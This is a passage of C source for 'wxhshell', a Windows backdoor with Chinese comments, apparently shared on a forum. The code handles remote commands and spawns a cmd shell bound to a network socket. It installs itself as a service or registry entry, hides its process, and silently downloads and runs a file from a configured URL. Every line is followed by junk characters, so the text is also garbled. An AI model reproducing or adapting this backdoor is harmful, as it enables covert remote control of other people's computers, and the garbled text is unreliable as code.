    switch(cmd[0]) { AD<q%pu&H?  
  =Yt R`  
  // 帮助 _Iv6pNd/  
  case '?': { 6 M*O{f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )6J9J+%bi  
    break; a)'5Nw9*  
  } O~^"  
  // 安装 L# 2+z@g  
  case 'i': { HZf/CE9T  
    if(Install()) y)@[Sl>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `u&Zrdr,  
    else V:c;-)(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %GS(:]{n  
    break; TBT:/Vfun  
    } k|H:  
  // 卸载 L');!/:  
  case 'r': { [a wjio  
    if(Uninstall()) UaB @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*7VqB  
    else t8+X%-r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PJL=$gBgKk  
    break; 07^iP>?  
    } X'qU*Eo  
  // 显示 wxhshell 所在路径 tyqT  
  case 'p': { uvG]1m#  
    char svExeFile[MAX_PATH]; ^kB8F"X  
    strcpy(svExeFile,"\n\r"); VQS~\:1  
      strcat(svExeFile,ExeFile); o_^?n[4  
        send(wsh,svExeFile,strlen(svExeFile),0); 20nP/ e  
    break;  VN\W]jT  
    } ~,B5Hc 2  
  // 重启 %YC_Se7  
  case 'b': { 4QIX19{"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZU%[guf  
    if(Boot(REBOOT)) @dPTk"P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\o+v|;  
    else { EKsT~SS  
    closesocket(wsh); 0p}D(m2B  
    ExitThread(0); &RnTzqv  
    } Nbi.\  
    break; zIu E9l  
    } SX# e:_  
  // 关机 9#MBaO8_"  
  case 'd': { tAv@R&W,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )6D,d5<  
    if(Boot(SHUTDOWN)) LH8 fBhw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qfMo7e@6*  
    else { xk5@d6Y{r  
    closesocket(wsh); [8=vv7wS  
    ExitThread(0); rFj-kojg  
    } 9{5&^RbCp  
    break; [nrYpb4  
    } A Sk|A!  
  // 获取shell #\ X#w<\?  
  case 's': { 4hTMbS_;  
    CmdShell(wsh); $',K7%y  
    closesocket(wsh); iiS-9>]/  
    ExitThread(0); rPLm5ni  
    break; =IQ5<;U3  
  } 3 I@}my1  
  // 退出 <~n"m  
  case 'x': { I uMQ9 &  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uF9C -H@:  
    CloseIt(wsh); NnDxq%l%  
    break; [d1mL JAR  
    } g" .are'7  
  // 离开 y}My.c  
  case 'q': { [f1 (`<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,}EC F>  
    closesocket(wsh); JNt^ (z  
    WSACleanup(); o7sT=x9  
    exit(1); %t" CX5 n  
    break; DVB{2~7 4  
        } XBb~\p3y  
  } ;>?rP88t  
  } rA5=dJ"I  
U |Jo{(Y  
  // 提示信息 5qZ1FE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'E/^8md>  
} 2.l Z:VLN  
  } G IT>L  
Jrti cK$  
  return; 19Mu61  
} <SgM@0m  
Vzdh8)Mu\  
// shell模块句柄 ] 2eK  
int CmdShell(SOCKET sock) TgmnG/Z  
{ )4gJd? 8R  
STARTUPINFO si; si`A:14R  
ZeroMemory(&si,sizeof(si)); j.w@(<=x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T92UeG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aJ-K?xQ  
PROCESS_INFORMATION ProcessInfo; i|w81p^o  
char cmdline[]="cmd"; zr+zhpp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +eyc`J  
  return 0; '_w=k 4  
} Ma.`A  
P@$/P99  
// 自身启动模式 G7qG$wd8h  
int StartFromService(void) Xm%D><CC8"  
{ tD(7^GuR  
typedef struct +cgSC5nR  
{ RrX[|GLSJ  
  DWORD ExitStatus; 2ORNi,_I  
  DWORD PebBaseAddress; @SJL\{_  
  DWORD AffinityMask; tiB_a}5IB  
  DWORD BasePriority; 6r"eN%m  
  ULONG UniqueProcessId; wkA+j9.  
  ULONG InheritedFromUniqueProcessId; 8\^}~s$$A  
}   PROCESS_BASIC_INFORMATION; V5sg#|&  
=j5MFX.-o  
PROCNTQSIP NtQueryInformationProcess; -Zf@VW,NI  
;aI[=?<x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7 %Oa;]|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <>s`\ %  
>}`:Ac  
  HANDLE             hProcess; q3.j"WaP  
  PROCESS_BASIC_INFORMATION pbi; ,SynnE68  
iYORu 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tl$ [4heE  
  if(NULL == hInst ) return 0; NdtB1b  
Bg5Wba%NK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xO^:_8=&:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =vQcYa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,0*&OXt  
t2F _uCr  
  if (!NtQueryInformationProcess) return 0; k2c}3 MeP  
6x h:/j3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xy5lE+E_U  
  if(!hProcess) return 0; ,&j hlZ i  
!46RGU:I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k9  "[H'  
uD1e!oU  
  CloseHandle(hProcess); D7lK30  
4]G?G]lS>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @wpN6 /   
if(hProcess==NULL) return 0; 2z6yn?'&L  
\>jLRb|7Ts  
HMODULE hMod; (]0%}$Fo  
char procName[255]; SB1upTn  
unsigned long cbNeeded; @.b+av4J  
A+::O@_s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %_+2@\  
M9V q -U18  
  CloseHandle(hProcess); T]t+E'sQ  
A )^`?m3  
if(strstr(procName,"services")) return 1; // 以服务启动 &Q;sSIc  
C~nzH,5  
  return 0; // 注册表启动 ^B(V4-|  
} Bt> }rYz1  
LJk@Vy <?  
// 主模块 Y ;u<GOe  
int StartWxhshell(LPSTR lpCmdLine) 4wID]bKM  
{ 5mJJU  
  SOCKET wsl; GNXHM*~  
BOOL val=TRUE; lG4H:[5V  
  int port=0; tw^,G(  
  struct sockaddr_in door; :`-,Lbg  
u.mJQDTH  
  if(wscfg.ws_autoins) Install(); jNLw=  
Av xfI"sp  
port=atoi(lpCmdLine); 3HLNCt09  
(g[h 8 c  
if(port<=0) port=wscfg.ws_port; _A+s)]}  
v1BDP<qU2  
  WSADATA data; jT8#C=a7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wF <n=  
W=#:.Xj[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /4a._@1h[y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (8Bk;bd  
  door.sin_family = AF_INET; x^kp^ /f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DB-l$rj  
  door.sin_port = htons(port); lDOCmdt@N  
:p]'32FA!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2_n7=&  
closesocket(wsl); lz YEx  
return 1; o_@4Sl8  
} n#q<`}u,  
*pAV2V(!23  
  if(listen(wsl,2) == INVALID_SOCKET) { BybW)+~  
closesocket(wsl); 85n1eE  
return 1; D}dn.$  
} iVB86XZ`  
  Wxhshell(wsl); wF|fK4F  
  WSACleanup(); NWM8[dI  
`S6x<J&T\/  
return 0; Sx?ua<`:d  
JHz [7  
} pQshUm"_  
V}dJ.I /#  
// 以NT服务方式启动 FrTi+& <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AWP"b?^G|  
{ 2] zq#6ix  
DWORD   status = 0; AD1=[I3  
  DWORD   specificError = 0xfffffff; 9[G[$c  
[x9KVd ^d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1+9W+$=h2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o$w_Es]Ma  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z&|Kki*  
  serviceStatus.dwWin32ExitCode     = 0; ?YZ- P{rTS  
  serviceStatus.dwServiceSpecificExitCode = 0; =at@Vp/y  
  serviceStatus.dwCheckPoint       = 0; vg3=8>#  
  serviceStatus.dwWaitHint       = 0; _9=Yvc=  
=bHD#o|R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LL2=&VK  
  if (hServiceStatusHandle==0) return; 8g&? Cc  
kKAP"'v  
status = GetLastError(); vH#huZA?7  
  if (status!=NO_ERROR) g=;%  
{ |2abmuR0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?,& tNP{jq  
    serviceStatus.dwCheckPoint       = 0; w *oeK  
    serviceStatus.dwWaitHint       = 0; '7+4`E  
    serviceStatus.dwWin32ExitCode     = status; cIav&Zko  
    serviceStatus.dwServiceSpecificExitCode = specificError; $u9K+>.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gLy&esJl1  
    return; {buo^kgj`]  
  } oZ!m  
4|CtRF<L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N7O-2Z *  
  serviceStatus.dwCheckPoint       = 0; 1IZ3=6  
  serviceStatus.dwWaitHint       = 0; i[?Vin  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _i20|v   
} &o,<ijJ:^m  
wS%Q<uK  
// 处理NT服务事件,比如:启动、停止 eA#;AQm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vvKEv/pN7  
{ `NgAT 3zq  
switch(fdwControl) 5 N#3a0)  
{ hM{{\yZS  
case SERVICE_CONTROL_STOP: U c@Ao:  
  serviceStatus.dwWin32ExitCode = 0; g7O qX \  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {\c(ls{  
  serviceStatus.dwCheckPoint   = 0; >_|O1H./4  
  serviceStatus.dwWaitHint     = 0; EUN81F?  
  { $shoasSuI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x "^Xj]-  
  } bdQ_?S(  
  return; d` jjGEj  
case SERVICE_CONTROL_PAUSE: qzf!l"bT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Ti}CwI`  
  break; kPF9Z "l  
case SERVICE_CONTROL_CONTINUE: ]%?YZn<{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E0MGRI"me  
  break; t.`@{R$hoA  
case SERVICE_CONTROL_INTERROGATE: `bZ/haU}A  
  break; /.Ww6a~  
}; .ys6"V|31  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UrYZ` J  
} :=wT vz  
}j*KcB_  
// 标准应用程序主函数 r=X}%~_8X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %l,,_:7{  
{ 2JJ"O|Ibz  
L1Iz<>  
// 获取操作系统版本 }>VG~u8  
OsIsNt=GetOsVer(); ,PWgH$+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e S<lwA_  
9hOJvQ2U]  
  // 从命令行安装 ENGg ~D  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;9#Z@]p  
&!/}Qp  
  // 下载执行文件 [&&1j@LQ*  
if(wscfg.ws_downexe) { n#wI@W >%+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !+L/Khw/ C  
  WinExec(wscfg.ws_filenam,SW_HIDE); L:1^Kxg  
} >i5acuth  
b0Kc^uj5  
if(!OsIsNt) { 5ZMR,SZhC  
// 如果时win9x,隐藏进程并且设置为注册表启动 .)<(Oj|4  
HideProc(); Bh=u|8yxc  
StartWxhshell(lpCmdLine); }T%}wdj  
} 4*e0 hWp  
else {a4z2"\A  
  if(StartFromService()) WIv?}gi: X  
  // 以服务方式启动 }RwSp!}C  
  StartServiceCtrlDispatcher(DispatchTable); S%yd5<%_  
else a^=-Mp  
  // 普通方式启动 '+$EhFwD  
  StartWxhshell(lpCmdLine); K)\M5id]  
m3mp/g.>  
return 0; !!`!|w  
}
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只看该作者 1 发表于: 2006-10-10
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